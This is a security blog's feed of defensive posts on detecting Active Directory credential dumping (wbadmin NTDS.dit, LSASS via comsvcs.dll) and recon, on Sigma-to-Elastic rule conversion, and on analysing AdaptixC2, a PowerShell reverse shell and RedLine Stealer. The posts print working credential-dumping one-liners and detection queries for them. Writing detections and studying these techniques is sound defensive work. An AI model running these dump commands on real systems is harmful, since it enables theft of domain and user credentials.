Security-in-bits

wbadmin NTDS.dit dump detection for Domain Controllers

Sat, 03 Jan 2026 09:20:01 GMT

When wbadmin.exe is used to back up NTDS.dit + registry hives, treat it as credential access, not routine IT backup. This post is for Elastic + Sigma + Windows logs and focuses on wbadmin NTDS.dit dump detection you can validate end-to-end in a lab.

You will: spot the command, confirm artifacts on disk, and alert in MDE/Elastic with Sigma-derived logic. 🔎

Why this matters

wbadmin.exe can create VSS backups of files that are normally locked, including:

C:\Windows\NTDS\ntds.dit (AD database)
SYSTEM and SECURITY hives (needed for offline credential)

The signal is in what is included and where the backup is written.

Step 1: The wbadmin pattern to watch

Attackers commonly run a one-time backup and write output to a convenient local path via a loopback UNC.

Executed command

wbadmin.exe start backup -backuptarget:\\127.0.0.1\C$\ProgramData\ -include":C:\windows\NTDS\ntds.dit,C:\windows\system32\config\SYSTEM,C:\windows\system32\config\SECURITY" -quiet

What to notice:

-include targets NTDS.dit and SYSTEM/SECURITY. That is the high-signal part.
-backuptarget:\\127.0.0.1\C$\ProgramData\ writes to the local C: drive through an admin share (easy staging). ⚠️

Example output

wbadmin Admin Output

Step 2: Confirm the backup artifacts on disk

Use filesystem artifacts to confirm the alert is real and to find what needs containment. This dir structure may be already removed by the attacker.

Dir structure

After dump this is how it looks like

Dir Structure After Dumping

Look for:

New backup directory created under the target path.
Backup container VHDX files with timestamps matching the wbadmin execution.

Step 3: Validate the copied files (mount the container)

After mounting vhdx files
vhdx file will contain the files included in the backup

Vhdx Dir Structure

If NTDS/hives are missing after mounting, the job likely failed or you mounted the wrong container. Use backup logs below to confirm.

Step 4: Correlate with Windows Backup logs

Backup logs tell you whether the job completed and can help you scope impact fast.

Event Viewer Logs

Event Viewer Backup Logs

Get the logs about backup operation from Microsoft-Windows-Backup

Get-WinEvent -FilterHashtable @{
  LogName   = 'Microsoft-Windows-Backup'
  Id        = 1,4,5,14   # 1=Started, 4=Success, 5=Failure, 14=Completed
  StartTime = (Get-Date).AddHours(-1.5)
} | Sort-Object TimeCreated |
Format-Table TimeCreated, Id, LevelDisplayName, Message -Wrap

Get Winevent Output

What you want:

A start event near the wbadmin process time.
A completed/success event if a usable copy exists on disk.
Any failure details (permissions, target path, missing components).

Step 5: Detections (Sigma, MDE, Elastic)

Upstream Sigma already covers this pattern (wbadmin NTDS.dit dump detection). Use it as a baseline, then tune around maintenance windows and known backup accounts.

Sigma Alert in Kibana

Sigma Alert For Wbadmin Process

Elastic Process Tree

Sigma Rule Process Tree

Practical tuning
Prioritize alerts where ProcessCommandLine also contains admin shares (for example \\127.0.0.1\C$\) or unusual backup targets. Suppress only after baselining normal backup tooling on DCs.

SIEM Detections

These queries were generated by converting the Sigma rule with pySigma backends.

Sensitive File Dump Via Wbadmin.EXE

Detects the dump of highly sensitive files such as “NTDS.DIT” and “SECURITY” hive. Attackers can leverage the “wbadmin” utility in order to dump sensitive files that might contain credential or sensitive information.

Microsoft Defender (KQL)

DeviceProcessEvents
| where (FolderPath endswith "\\wbadmin.exe" or ProcessVersionInfoOriginalFileName =~ "WBADMIN.EXE") and (ProcessCommandLine contains "start" or ProcessCommandLine contains "backup") and (ProcessCommandLine contains "\\config\\SAM" or ProcessCommandLine contains "\\config\\SECURITY" or ProcessCommandLine contains "\\config\\SYSTEM" or ProcessCommandLine contains "\\Windows\\NTDS\\NTDS.dit")

Elastic

(process.executable:*\\wbadmin.exe OR process.pe.original_file_name:WBADMIN.EXE) AND (process.command_line:(*start* OR *backup*)) AND (process.command_line:(*\\config\\SAM* OR *\\config\\SECURITY* OR *\\config\\SYSTEM* OR *\\Windows\\NTDS\\NTDS.dit*))

Sigma

View rule on GitHub

Thanks to @frack113 and @nas_bench for publishing the awesome Sigma rules and helping the community.

Triage checklist

Who ran it (user, logon type, remote session)?
Did backup logs show success (a real copy likely exists)?
What is the backup target path and what files were written there?
Any follow-on activity touching the backup path (archive tools, outbound transfers, remote tooling)?

✅ If the job completed and this activity is not expected, escalate as probable domain compromise.

Known in-the-wild incidents

Source Title	Source (with link)	Publish Date
Technical Advisory: SonicWall Targeted by Ransomware Group	Bitdefender	7 Aug, 2025
From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira	The DFIR Report	5 Aug, 2025
Undisclosed SonicWall Zero Day Leading to Akira Ransomware	eSentire	5 Aug, 2025
The Exploitation of SonicWall SSL VPNs	Huntress	4 Aug, 2025

References

How to set up Sigma rules for Elasticsearch SIEM

Sun, 23 Nov 2025 03:06:28 GMT

Got a fresh Sigma release and an Elasticsearch lab, but no clear path from Sigma YAML rules to detection rules in Elasticsearch SIEM? This guide shows how to set up sigma rules for Elasticsearch SIEM so you can turn community content into Elastic Security rules you can actually run.

We will stay focused on Elastic Security with Windows telemetry mapped to ECS, using sigma-cli, the Elasticsearch backend plugin, and the official Sigma rule packages.

By the end of this guide you will:

Install sigma-cli with either pip or uv
Install the Elasticsearch backend plugin so sigma-cli can output lucene
Download Sigma rules from the latest GitHub release
Convert Windows and Emerging Threats rules into Kibana compatible NDJSON
Import all generated rules into Kibana Detection rules in one go

The official Sigma Getting Started | Sigma Detection Format guide walks through a Splunk focused example. If you want a Splunk specific setup, follow that article. In this post we will do the same pipeline for Elasticsearch (lucene).

If you want to see how these Sigma based detections look for concrete techniques, check out:

1. Install sigma-cli

You can install sigma-cli in two ways, depending on whether you use uv in your environment or not.

sigma-cli is the command line interface built on top of pySigma, the Python library that parses and converts Sigma rules into backend specific queries.

Without uv (standard way)

pip3 install sigma-cli

Using uv

uv tool install sigma-cli --with pip

If you install with uv tool install, sigma-cli is available on your PATH while still being managed in an isolated environment, which is useful on lab boxes where you do not want to pollute the system Python. ⚙️

2. Install the Elasticsearch backend plugin

We need to install our backend plugin through sigma-cli so it knows how to talk to Elasticsearch and Elastic Security.

First, list any backends that are available using:

sigma plugin list -t backend

You should see existing backends similar to the screenshot below.

Sigma Plugin List For Backend

Now install the Elasticsearch plugin:

sigma plugin install elasticsearch

This pulls the plugin that knows how to translate Sigma rules into Elasticsearch Lucene queries and Elastic Security detection rule formats.

Sigma Plugin Install Elasticsearch

3. Download Sigma rules

You can download the Sigma rules from the latest release page: Releases · SigmaHQ/sigma. There are different rule packages available for download.

Which Sigma rule package should I use?

A detailed explanation can be found in the sigma/Releases.md file.

If you are new, best start with the Core Sigma package. It includes high quality rules of high confidence and relevance and should not produce many false positives.

In this guide I am using Core++ and ET (Emerging Threats) AddOn Rules to get stronger coverage.

Once downloaded, extract the archive so that you have a rules and a rules-emerging-threats directory that matches the repository layout.

Why this step matters for detection: these packages give you a curated, maintained Sigma ruleset instead of random one off rules from the internet.

4. Convert Sigma rules to Elasticsearch Lucene

Our goal is to convert many Sigma rules into NDJSON so we can upload them into Kibana in one go instead of creating each rule manually.

For converting the rules, we need to use sigma convert.

Sigma Convert Cmd Help

For our case sigma convert needs three things:

targets
pipelines
formats

If you have not installed any backend yet, the targets and pipelines list will be empty.

To see which targets and pipelines are available:

Sigma List Targets Pipelines

After installing the Elasticsearch plugin, check targets and pipelines again:

sigma list targets
sigma list pipelines

This confirms that the lucene target and the ecs_windows pipeline are available and ready to use.

Sigma Targets Pipelines

Because we will import multiple rules in one go and upload them to Kibana, we will use the lucene target and a format that generates Elastic Security detection rules.

For listing formats supported by lucene use:

sigma list formats lucene

Sigma List Formats Lucene

I am only converting rules present in sigma_core++.zip (only Windows) and sigma_emerging_threats_addon.zip from Releases · SigmaHQ/sigma.

For Windows rules:

sigma convert -t lucene -p ecs_windows -f siem_rule_ndjson ./rules/windows --skip-unsupported -o windows_rules.ndjson

For Emerging Threats:

sigma convert -t lucene -p ecs_windows -f siem_rule_ndjson ./rules-emerging-threats --skip-unsupported -o emerging_threat_rules.ndjson

What these commands do for elasticsearch backend:

-t lucene selects the Elasticsearch Lucene query language.
-p ecs_windows applies the ECS Windows pipeline for correct field mappings.
-f siem_rule_ndjson outputs Kibana SIEM rules in NDJSON format.
--skip-unsupported skips rules that cannot be converted by this backend.
-o <file>.ndjson writes all generated rules into a single NDJSON file, ready for import.

At the end of this step you should have two files:

windows_rules.ndjson
emerging_threat_rules.ndjson

These will be imported into Kibana in the next step. From a defender perspective this means you have turned upstream Sigma content into concrete Elastic Security rules you can enable, tune, and monitor.

5. Upload NDJSON rules to Kibana

Open Kibana and navigate to Security -> Rules -> Detection rules (SIEM).

Click Import Rules and upload the two NDJSON files you generated in the previous step.

Import Sigma Rules Kibana

For more detail on import and export behavior, see the official Elastic documentation on managing detection rules.

I have not enabled Elastic prebuilt rules in this lab, but you can enable them alongside your Sigma based rules if you want more coverage.

After importing all rules, the Sigma based rules appear in the rules table:

Imported Rules Into Elastic

At this point Elasticsearch is running Sigma rules converted by sigma-cli for the Elasticsearch backend, and you can start tuning, disabling noisy rules, and adding environment specific exceptions. ✅

Key takeaways for defenders

You now have a repeatable pipeline from upstream Sigma releases to Elastic detection rules.
Core++ rules give you broad coverage of common Windows TTPs, while Emerging Threats AddOn Rules track specific actors and exploits that may age faster.
The Elasticsearch backend and ecs_windows pipeline ensure field names line up with ECS, so matches are reliable instead of brittle string searches.
NDJSON export and bulk import let you treat detection rules as code and re seed a new Elastic lab in minutes.

References

Discovery using nltest, net and whoami

Thu, 02 Oct 2025 14:18:46 GMT

Quick, high-signal ways to enumerate DCs, trusts, and privileged groups in Active Directory plus how to detect them.

Overview

Why it matters: these commands are common during early recon.
What you get: exact commands, sample output, Sigma detections, and in-the-wild cases.
Defend: pair command-line telemetry with parent/child process context and alert tuning.

Known in-the-wild incidents

Source Title	Source (with link)	Publish Date	Commands referred
Blurring the Lines: Intrusion Shows Connection With Three Major Ransomware Gangs	The DFIR Report	8 Sep, 2025	`nltest` for AD/DC enumeration
From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira	The DFIR Report	5 Aug, 2025	`nltest /dclist:`; `nltest /domain_trusts`; `whoami /groups`; `net group "domain admins" /dom`; `net group "enterprise admins" /dom`
SharePoint ToolShell – Zero-Day Exploited in-the-Wild Targets Enterprise Servers	SentinelLabs	21 Jul, 2025	`whoami` (captured via webshell command execution)
#StopRansomware: Play Ransomware	CISA	4 Jun, 2025	`nltest` used for network discovery (behavior described, exact switches not quoted)
QSC: new modular framework in CloudComputating campaigns	Securelist	8 Nov, 2024	`net group "domain admins" /domain`; `whoami`
Attack Cases Against HTTP File Server (HFS) (CVE-2024-23692)	AhnLab ASEC	28 Jun, 2024	`whoami` during post-exploitation reconnaissance
Operation Crimson Palace: A Technical Deep Dive	Sophos X-Ops	5 Jun, 2024	`net group "domain admins" /domain`; `nltest /domain_trusts` (plus related domain enumeration)

Sigma Rules

Visual mapping

Command-to-rule mapping for nltest, whoami, and net.

Discovery Sigma Mapping

Elastic Sigma alerts

Discovery Sigma Rules

Potential Recon Activity Via Nltest.EXE

Nltest is a Windows command-line utility used to list domain controllers and enumerate domain trusts.

nltest.exe /dclist: domain
nltest.exe /domain_trusts

Example output

C:\Users\john>nltest /dclist:DC1
Get list of DCs in domain 'DC1' from '\\HOME-DC'.
    HOME-DC.DC1.local [PDC]  [DS] Site: Default-First-Site-Name
The command completed successfully

C:\Users\john>nltest /domain_trusts
List of domain trusts:
    0: DC1 DC1.local (NT 5) (Forest Tree Root) (Primary Domain) (Native)
The command completed successfully

Suspicious Group And Account Reconnaissance Activity Using Net.EXE

net.exe group "domain admins" /dom
net.exe group "enterprise admins" /dom

Example output

net group "domain admins" /dom

C:\Users\john>net group "domain admins" /dom
The request will be processed at a domain controller for domain DC1.local.

Group name     Domain Admins
Comment        Designated administrators of the domain

Members

-------------------------------------------------------------------------------
Administrator            MSSQLService             user2
The command completed successfully.

Process Tree Net Cmd

net group "enterprise admins" /dom

C:\Users\john>net group "enterprise admins" /dom
The request will be processed at a domain controller for domain DC1.local.

Group name     Enterprise Admins
Comment        Designated administrators of the enterprise

Members

-------------------------------------------------------------------------------
Administrator            MSSQLService             user1
The command completed successfully.

Group Membership Reconnaissance Via Whoami.EXE

whoami.exe /groups

Example output

C:\Users\john>whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes
========================================== ================ ============ ==================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators                     Alias            S-1-5-32-544 Group used for deny only
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE                   Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                              Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
....

SIEM Detections

These queries were generated by converting the Sigma rule with pySigma backends.

Potential Recon Activity Via Nltest.EXE

Detects nltest commands that can be used for information discovery

Microsoft Defender (KQL)

DeviceProcessEvents
| where (FolderPath endswith "\\nltest.exe" or ProcessVersionInfoOriginalFileName =~ "nltestrk.exe") and ((ProcessCommandLine contains "server" and ProcessCommandLine contains "query") or (ProcessCommandLine contains "/user" or ProcessCommandLine contains "all_trusts" or ProcessCommandLine contains "dclist:" or ProcessCommandLine contains "dnsgetdc:" or ProcessCommandLine contains "domain_trusts" or ProcessCommandLine contains "dsgetdc:" or ProcessCommandLine contains "parentdomain" or ProcessCommandLine contains "trusted_domains"))

Elastic

(process.executable:*\\nltest.exe OR process.pe.original_file_name:nltestrk.exe) AND ((process.command_line:*server* AND process.command_line:*query*) OR (process.command_line:(*\/user* OR *all_trusts* OR *dclist\:* OR *dnsgetdc\:* OR *domain_trusts* OR *dsgetdc\:* OR *parentdomain* OR *trusted_domains*)))

Sigma

View rule on GitHub

Suspicious Group And Account Reconnaissance Activity Using Net.EXE

Detects suspicious reconnaissance command line activity on Windows systems using Net.EXE Check if the user that executed the commands is suspicious (e.g. service accounts, LOCAL_SYSTEM)

Microsoft Defender (KQL)

DeviceProcessEvents
| where ((FolderPath endswith "\\net.exe" or FolderPath endswith "\\net1.exe") or (ProcessVersionInfoOriginalFileName in~ ("net.exe", "net1.exe"))) and ((((ProcessCommandLine contains " group " or ProcessCommandLine contains " localgroup ") and (ProcessCommandLine contains "domain admins" or ProcessCommandLine contains " administrator" or ProcessCommandLine contains " administrateur" or ProcessCommandLine contains "enterprise admins" or ProcessCommandLine contains "Exchange Trusted Subsystem" or ProcessCommandLine contains "Remote Desktop Users" or ProcessCommandLine contains "Utilisateurs du Bureau à distance" or ProcessCommandLine contains "Usuarios de escritorio remoto" or ProcessCommandLine contains " /do")) and (not(ProcessCommandLine contains " /add"))) or (ProcessCommandLine contains " accounts " and ProcessCommandLine contains " /do"))

Elastic

((process.executable:(*\\net.exe OR *\\net1.exe)) OR (process.pe.original_file_name:(net.exe OR net1.exe))) AND ((((process.command_line:(*\ group\ * OR *\ localgroup\ *)) AND (process.command_line:(*domain\ admins* OR *\ administrator* OR *\ administrateur* OR *enterprise\ admins* OR *Exchange\ Trusted\ Subsystem* OR *Remote\ Desktop\ Users* OR *Utilisateurs\ du\ Bureau\ à\ distance* OR *Usuarios\ de\ escritorio\ remoto* OR *\ \/do*))) AND (NOT process.command_line:*\ \/add*)) OR (process.command_line:*\ accounts\ * AND process.command_line:*\ \/do*))

Sigma

View rule on GitHub

Group Membership Reconnaissance Via Whoami.EXE

Detects the execution of whoami.exe with the /group command line flag to show group membership for the current user, account type, security identifiers (SID), and attributes.

Microsoft Defender (KQL)

DeviceProcessEvents
| where (FolderPath endswith "\\whoami.exe" or ProcessVersionInfoOriginalFileName =~ "whoami.exe") and (ProcessCommandLine contains " /groups" or ProcessCommandLine contains " -groups")

Elastic

(process.executable:*\\whoami.exe OR process.pe.original_file_name:whoami.exe) AND (process.command_line:(*\ \/groups* OR *\ \-groups*))

Sigma

View rule on GitHub

Thanks to @svch0st, Craig Young, @cyb3rops, Georg Lauenstein, @nas_bench, omkar72, and oscd.community for publishing the awesome Sigma rules and helping the community.

References

LSASS Dump via comsvcs.dll: Defender Detection Guide

Thu, 25 Sep 2025 15:15:48 GMT

Attackers dump LSASS with comsvcs.dll to steal credentials; here’s how to spot rundll32 + MiniDump fast and reliably. 🙂

What the technique is

Adversaries attempt to access credential stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory.

LSASS.exe process memory can be dumped using comsvcs.dll’s MiniDump export (ordinal 24) via rundll32. The dump is often written to a temp path, sometimes disguised with a benign extension.

Exact command executed

LSASS.exe process memory is dumped via comsvcs.dll ordinal 24. Requires sufficient privileges to access LSASS memory.

cmd.exe /Q /c for /f "tokens=1,2 delims= " %%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, #+000024 %%B C:\Windows\Temp\file.docx full

Breakdown

Spins up a quiet, one-shot cmd: /Q hides echo, /c runs the line and exits.
Grabs LSASS’s PID: the for /f ... in ('tasklist … | find "lsass"') bit parses tasklist output and stores the 2nd column (PID) in %%B. It’s just – get the PID number for lsass.exe.
Dumps the process via comsvcs: rundll32 … comsvcs.dll,#24 %%B … full calls the MiniDump export (ordinal 24) inside comsvcs.dll to write a full memory dump to the path you give (here masquerading as .docx).

Detecting LSASS dump via comsvcs.dll (rundll32)

Visual Sigma mapping

Command-to-rule mapping for the lsass.exe dump via comsvcs.dll (ordinal 24).

Sigma Mapping Lsass Comsvcs.dll

Sigma rules that trigger on comsvcs.dll

Lsass Dump Sigma Rules

Potential Obfuscated Ordinal Call Via Rundll32 – catches #,#+000024 style calls
Process Memory Dump Via Comsvcs.DLL – rundll32 invoking comsvcs MiniDump/ordinal 24
Recon Command Output Piped To Findstr.EXE – flags recon where output is piped to findstr

SIEM Detections

These queries were generated by converting the Sigma rule with pySigma backends.

Potential Obfuscated Ordinal Call Via Rundll32

Detects execution of “rundll32” with potential obfuscated ordinal calls

Microsoft Defender (KQL)

DeviceProcessEvents
| where (FolderPath endswith "\\rundll32.exe" or ProcessVersionInfoOriginalFileName =~ "RUNDLL32.EXE" or ProcessCommandLine contains "rundll32") and (ProcessCommandLine contains "#+" or ProcessCommandLine contains "#-" or ProcessCommandLine contains "#0" or ProcessCommandLine contains "#655" or ProcessCommandLine contains "#656")

Elastic

(process.executable:*\\rundll32.exe OR process.pe.original_file_name:RUNDLL32.EXE OR process.command_line:*rundll32*) AND (process.command_line:(*#\+* OR *#\-* OR *#0* OR *#655* OR *#656*))

Sigma

View rule on GitHub

Process Memory Dump Via Comsvcs.DLL

Detects a process memory dump via “comsvcs.dll” using rundll32, covering multiple different techniques (ordinal, minidump function, etc.)

Microsoft Defender (KQL)

DeviceProcessEvents
| where ((FolderPath endswith "\\rundll32.exe" or ProcessVersionInfoOriginalFileName =~ "RUNDLL32.EXE" or ProcessCommandLine contains "rundll32") and ((ProcessCommandLine contains "comsvcs" and ProcessCommandLine contains "full") and (ProcessCommandLine contains "#-" or ProcessCommandLine contains "#+" or ProcessCommandLine contains "#24" or ProcessCommandLine contains "24 " or ProcessCommandLine contains "MiniDump" or ProcessCommandLine contains "#65560"))) or ((ProcessCommandLine contains "24" and ProcessCommandLine contains "comsvcs" and ProcessCommandLine contains "full") and (ProcessCommandLine contains " #" or ProcessCommandLine contains ",#" or ProcessCommandLine contains ", #" or ProcessCommandLine contains "\"#"))

Elastic

((process.executable:*\\rundll32.exe OR process.pe.original_file_name:RUNDLL32.EXE OR process.command_line:*rundll32*) AND ((process.command_line:*comsvcs* AND process.command_line:*full*) AND (process.command_line:(*#\-* OR *#\+* OR *#24* OR *24\ * OR *MiniDump* OR *#65560*)))) OR ((process.command_line:*24* AND process.command_line:*comsvcs* AND process.command_line:*full*) AND (process.command_line:(*\ #* OR *,#* OR *,\ #* OR *\"#*)))

Sigma

View rule on GitHub

Recon Command Output Piped To Findstr.EXE

Detects the execution of a potential recon command where the results are piped to “findstr”. This is meant to trigger on inline calls of “cmd.exe” via the “/c” or “/k” for example. Attackers often time use this technique to extract specific information they require in their reconnaissance phase.

Microsoft Defender (KQL)

DeviceProcessEvents
| where (ProcessCommandLine contains "ipconfig" and ProcessCommandLine contains "|" and ProcessCommandLine contains "find") or (ProcessCommandLine contains "net" and ProcessCommandLine contains "|" and ProcessCommandLine contains "find") or (ProcessCommandLine contains "netstat" and ProcessCommandLine contains "|" and ProcessCommandLine contains "find") or (ProcessCommandLine contains "ping" and ProcessCommandLine contains "|" and ProcessCommandLine contains "find") or (ProcessCommandLine contains "systeminfo" and ProcessCommandLine contains "|" and ProcessCommandLine contains "find") or (ProcessCommandLine contains "tasklist" and ProcessCommandLine contains "|" and ProcessCommandLine contains "find") or (ProcessCommandLine contains "whoami" and ProcessCommandLine contains "|" and ProcessCommandLine contains "find")

Elastic

process.command_line:(*ipconfig*\|*find* OR *net*\|*find* OR *netstat*\|*find* OR *ping*\|*find* OR *systeminfo*\|*find* OR *tasklist*\|*find* OR *whoami*\|*find*)

Sigma

View rule on GitHub

Thanks to @cyb3rops, @frack113, Modexp, @nas_bench, and @swachchhanda for publishing the awesome Sigma rules and helping the community.

Known in-the-wild incidents

A compact, source-linked index of public reports where LSASS dumping via comsvcs.dll appears in real intrusions.

Source Title	Source (with link)	Publish Date
UAT-7237 targets Taiwanese web hosting infrastructure	Cisco Talos	15 Aug, 2025
From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira	The DFIR Report	5 Aug, 2025
Inside a Real Ransomware Attack: What Happened and How	Solis Security	9 Jul, 2025
Credential Theft: Expanding Your Reach	Huntress	8 Apr, 2025

References

Deobfuscate PowerShell using MinusOne

Sun, 21 Sep 2025 21:05:08 GMT

Obfuscated PowerShell is everywhere – this post shows how the Reverse Shell Generator produces randomized scripts and how MinusOne deobfuscates them in seconds.

It generates a different PowerShell variant every time you click Generate.

Obfuscated PowerShell

Obfuscated Revshell Powershell

Deobfuscated PowerShell

But here’s the fix 👇

MinusOne – Powershell Deobfuscator – written in Rust by AirbusCERT – cleans it up in seconds

Deobfuscate PowerShell

What does it do?

It’s an obfuscated PowerShell TCP reverse shell.
It creates a System.Net.Sockets.TCPClient to <input ip>:<input port>and reads bytes from the stream
It decodes bytes to text with System.Text.ASCIIEncoding, executes via Invoke-Expression.
It then returns output plus a fake PS <cwd> > prompt using ASCII.GetBytes() and Write()

References

AdaptixC2 Defender

Sat, 20 Sep 2025 08:40:03 GMT

In July 2025 AdaptixC2 moved from red team lab to real breaches; this guide shows how defenders can spot it fast using Yara, C2 Feeds, User agent etc.

What it is? AdaptixC2 is an open-source post-exploitation/C2 framework and adversarial emulation framework made for penetration testers. The Adaptix server is written in Golang and to allow operator flexibility. The GUI Client is written in C++ QT, allowing it to be used on Linux, Windows, and MacOS

AdaptixC2’s functionality is identical to traditional penetration frameworks such as Cobalt Strike, Sliver, Havoc, and Mythic.

Adaptixc2 Gui

Timeline

Jan 2025 – v0.1 released
May 2025 – First seen on ThreatFox and MalwareBazaar. Observed in the wild by Symantec and Unit 42
Jul 2025 – Observed in the wild by The DFIR Report and QiAnXin
Aug 2025 – v0.8 released
Dec 2025 – v1.0 released

Known In-the-Wild Incidents

A compact, source-linked index of public reports where AdaptixC2 appears in real intrusions.

Blog	Source	Publish Date	When it was used?
Cyber Warfare Amidst Gold’s Skyrocketing Price: UTG-Q-010 Group’s Supply-Chain Attack	QiAnXin TI Center	4 Sep, 2025	Jul 2025
From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira	The DFIR Report	5 Aug, 2025	Jul 2025
AdaptixC2: A New Open-Source Framework Leveraged in Real-World Attacks	Unit 42	10 Sep, 2025	May 2025
Unusual Fog ransomware activity	Symantec (Broadcom)	12 Jun, 2025	May 2025
Last updated: 2025-09-20

Detection

Default user agent
If the actor did not change it, hunt for this in your web logs:
`Mozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20121202 Firefox/20.0

Based on the User agent website this maps to Firefox browser running on Windows 8, which should be rare in most networks.
Treat matches as suspicious and pivot by source IP, URI path, and user account.

Yara Rules
AdaptixC2 yara rules from then Unit42 blog, mirrored for convenience: AdaptixC2 YARA rules — GitHub.

Adaptixc2 Yara Rules

Config extractor

The config extractor (by the Unit 42 team) is here: AdaptixC2 config extractor — GitHub.
This executable was created with the latest AdaptixC2 version and extracts the C2 cleanly.

This exe file was created using the latest AdaptixC2 version and it works perfectly fine , extract the C2 without any issue.

Adaptixc2 Config Extractor

C2 Feeds

ThreatFox | AdaptixC2 – First Seen – 2025-05-25 18:22:59 UTC
GitHub – drb-ra/C2IntelFeeds: Automatically created C2 Feeds

Drb Ra Intelfeeds

Hash Feed

MalwareBazaar | AdaptixC2

References

Unpack RedLine stealer using dnSpyEx – Part 3

Mon, 12 Feb 2024 13:29:27 GMT

In this article, we dive into process of unpacking and extracting config from RedLine Stealer using dnSpyEx. It’s a bit lengthy but a great way to learn about the unpacking process using dnSpyEx.

🔍 This is the 3rd part in our deep dive series on RedLine.

If you need a refresher on the infection chain, check out Part 1 –🔍 Dive into the RedLine Stealer Infection Chain – Part 1. And if you’re interested in using the pe-sieve tool, explore Part 2 – Unpack RedLine stealer to extract config using pe-sieve -Part 2.

To follow along, download the file line.exe from MalwareBazaar.

Using dnSpyEx for Manual Debugging – RedLine Stealer

Let’s embark on the unpacking journey with dnSpyEx:

1. Loading line.exe into dnSpyEx

Load line.exe to dnSpyEx and navigate to the EP you will see MainWindow.NON()

This section contains critical code snippets, including
Activator.CreateInstance(GeneralMessageForm.VCTull);

Activator.CreateInstance is use to execute the 2nd stage dll dynamically.

Activator.CreateInstanceCreate instances of types dynamically during runtime. It is commonly used with reflection to instantiate types during runtime.

1. Load line.exe CreateInstance

2. Loads & execute the 2nd Stage dll (HiTechDistribution.dll)

It loads assembly using AppDomain.CurrentDomain.Load(), then, it fetches all the public (exported) types from that assembly using GetExportedTypes()& returns the first one.

2. Load assembly in dnSpyEx

PantosTExBwBQpyLp function decrypt this embedded resource (Resources.HiTechDistribution) using hard-coded key.

In summary, it loads and execute the .NET assembly (2nd Stage) using Activator.CreateInstance after decrypting the resources embedded in line.exe.

Now let’s analyse the 2nd Stage dll.

3. Summary of line.exe

3. Analyze & Debug the 2nd Stage DLL

Let’s set a bp in line.exe at return exportedTypes[0];, to analyze the loaded assembly in memory.

Navigate to Debug -> Windows -> Modules. You can see the new module HiTechDistribution.

4. First bp set in RedLine

Let’s open the module, then go to Analayzer method & set a bp at Program.Main()

5. 2nd stage dll loaded

4. Persistency using Startup folder

Let’s continue debugging, & our goal for analysis is to dump Happy.exe (unpacked malware) manually to extract config.

First function which start with class name FormGestionApp* is empty.
2nd function(rBB*) decrypt the strings, then execute PowerShell to copy line.exe to the Startup folder with the name “anydesk.exe.exe”.

6. 2nd Stage dll Overview

2nd function(rBB*) decrypt the strings, then execute PowerShell to copy line.exe to the Startup folder with the name “anydesk.exe.exe”.

7. Using PS to copy in startup folder

5. Load and dump 3rd stage dll (2.7.dll)

At line 19, it loads another injector named as (2.7), which is shown below in Modules section in dnSpyEx.

It uses the Invoke method with two parameters as mentioned below:

InstallUtil.exe path
Assembly to inject (unpacked Happy.exe)

8. Dump 3rd Stage dll from modules

This HumanTrace function based on the the flag it inject into itself or InstallUtil.exe . For this execution, it return the complete path for InstallUtil.exe as shown below.

9. Humantrace function for InstallUtil

6. Extracting the Unpacked Malware

Then Step Into Invoke function, you will see two parameter and final unpacked payload Happy.exe is present in the 2nd parameter as shown below.
Right-click and save the unpacked payload to disk.

10. Injector- Dump Unpacked RedLine

7. Extract RedLine config using dnSpyEx

Open this Happy.exe in dnSpyEx. Go to the assembly , right click then select “Go to Entry Point”.
Click on the IP text, it will show you the config class EntryPoint. In this sample, there is no XOR key used, so the C&C in plain text.

Conclusion:
Unpacking RedLine Stealer using dnSpyEx is a meticulous yet rewarding process that offers invaluable insights into malware analysis and detection.

Unpack RedLine stealer to extract config using pe-sieve -Part 2

Tue, 06 Feb 2024 10:11:55 GMT

RedLine Stealer config extraction using two ways:

1. Fast & Easy Method: Use the awesome pe-sieve tool from @hasherezade, which dumps unpacked file from memory. Then, extract the config from dumped file.
2. Using dnSpyEx for manual debugging. It’s a bit lengthy but a great way to learn about the unpacking process. We will cover this in our next article in this series. Signup for our newsletter 👆to receive exclusive notification about upcoming articles.

This is the 2nd part of the deep dive into the RedLine, if you want to refresh about the RedLine Stealer infection chain, check out our previous article 🔍 Dive into the RedLine Stealer Infection Chain – Part 1 .

If you’d like to follow along, start by downloading this file line.exe from MalwareBazaar.

Fast & Easy Method: Using pe-sieve

One efficient way to extract the configuration of RedLine Stealer is by leveraging the powerful pe-sieve tool.This tool excels in dumping unpacked files from memory, simplifying the extraction process.

Follow these steps to extract the config:

1. Monitor the malware using ProcMon & Process hacker

Use ProcMon Sysinternal tool to monitor the execution of line.exe. You’ll see a process tree like this.

After a few seconds, PowerShell will exit, and you’ll see a new process, InstallUtil.exe, with a child process, conhost.exe. The malicious code is injected inside InstallUtil process

1. Process hacker process tree

2. Dump the code using pe-sieve

Let’s use pe-sieve to dump the unpacked code.

Get the process id of InstallUtil.exe (e.g. 8284)
Execute this cmd pe-sieve /pid 8284 to dump the unpacked code from this InstallUtil.exe process.

2. Dump using pe-sieve

Open this 400000.InstallUtil.exe in your favourite tool, I am using Die which is already installed in my Flare-VM. As you can see its 32 bit .NET file.

Die screenshot

3. Extract config using dnSpyEx

Open the dumped 400000.InstallUtil.exe from pe-sieve in dnSpyEx. Go to the assembly , right click then select “Go to Entry Point”.

Click on the IP text, it will show you the config class EntryPoint. In this sample, there is no XOR key used, so the C&C in plain text.

3. Load the file in dnSpyEx

Now we have extracted the RedLine Stealer config.

4. Config Redline stealer

